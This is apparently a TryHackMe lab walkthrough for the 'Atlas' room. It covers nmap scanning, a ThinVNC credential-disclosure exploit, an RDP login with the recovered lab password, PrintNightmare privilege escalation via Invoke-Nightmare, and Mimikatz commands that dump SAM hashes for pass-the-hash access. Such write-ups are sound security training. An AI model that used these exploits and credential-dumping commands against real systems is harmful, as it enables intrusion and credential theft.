TryHackMe|Atlas WriteUp\Walkthrough (English)

Atlas

Room Link: https://tryhackme.com/r/room/atlas

================================================================

• First scan the target using nmap. There are two ports open, 3389 and 8080. If you tried to do a service scan on both ports it won’t work, because the script will not be able to identify the service on 8080. So do another service scan on port 3389 only.

This port has RDP running.

• No visit port 8080 using your browser. You will meet a basic auth page and you will not be able to obtain any information. Therefore, try to make a request to this page using curl with -v to see the headers.

ThinNVC is a protocol just like RDP that provides you with a desktop access to a remote machine. The difference here is that it gives you an access using your browser.

• Now that you know which protocol. Search for any exploit for this.

Indeed there is, however it has many mistakes, clone this repository https://github.com/MuirlandOracle/CVE-2019-17662 then run the python exploit in it. you will get the credentials back. In order to run this exploit you need to provide the IP and the port for the target.

Now that you have the credentials, log in to the target using RDP, as it is more stable.

xfreerdp /v:10.10.169.122 /u:Atlas /p:H0ldUpTheHe@vens /cert:ignore +clipboard /dynamic-resolution /drive:/tmp,share. Here we made our /tmp directory linked to a folder called share on the target machine.

• Now that you have an initial foothold on the target, start looking for a privilege escalation technique you can use. Print Spooler is a Windows service enabled by default in all Windows clients and servers. This service spools print jobs and handles interaction with the printer. If you turn off this service, you won’t be able to print or see your printers. This service is notorious for privilege escalation vulnerabilities. It runs with the maximum available permissions (under the NT AUTHORITY\SYSTEM account). Clone this repository https://github.com/calebstewart/CVE-2021-1675 it has a recent vulnerability. Save the .ps1 script in your /tmp directory for easier access from the target.

• Now open a PowerShell window. From there do the following

First run the .ps1 script from your /tmp directory which is linked to share in the target system using this command {. \\tsclient\share\CVE-2021-1675.ps1} , we use \\tsclient\ to access the share, and the dot-syntax(which is present at the beginning of the command) to import any functions exposed by the script. Then you will be prompted to choose between D or R or S ?, choose R. Now you are ready to run the exploit using Invoke-Nightmare. Now it will create a new account with administrator privileges, and it will provide you with the credentials. whoami /groups

This command output means that you are running as an administrator with full access over the machine. 

Now you need to open cmd with administrative privileges, you can do this by right clicking on cmd >> run as administrator, or by using this command Start-Process powershell 'Start-Process cmd -Verb RunAs' -Credential adm1n.

• Once you are in your privileged cmd window. You can use Mimikatz to extract the users' hashes and, most importantly the Administrator’s. First copy Mimikatz to your /tmp then from the target run it using \\tsclient\share\mimikatz.exe. When we start Mimikatz we usually have to execute two commands before we start dumping hashes:

• privilege::debug -- This obtains debug privileges which allows us to access other processes for "debugging" purposes.

• token::elevate -- simply put, this takes us from our administrative shell with high privileges into a SYSTEM level shell with maximum privileges. This is something that we have a right to do as an administrator, but that is not usually possible using normal Windows operations.

With these commands executed we can start dumping hashes.

• lsadump::sam when executed will provide us with a list of password hashes for every account on the machine (with some extra information thrown in as well). The Administrator account password hash should be fairly near the top of the list. Now that you have the Administrator hash, you can save it and log in to the account with evil-winrm or any other protocol that allows the use of hashes.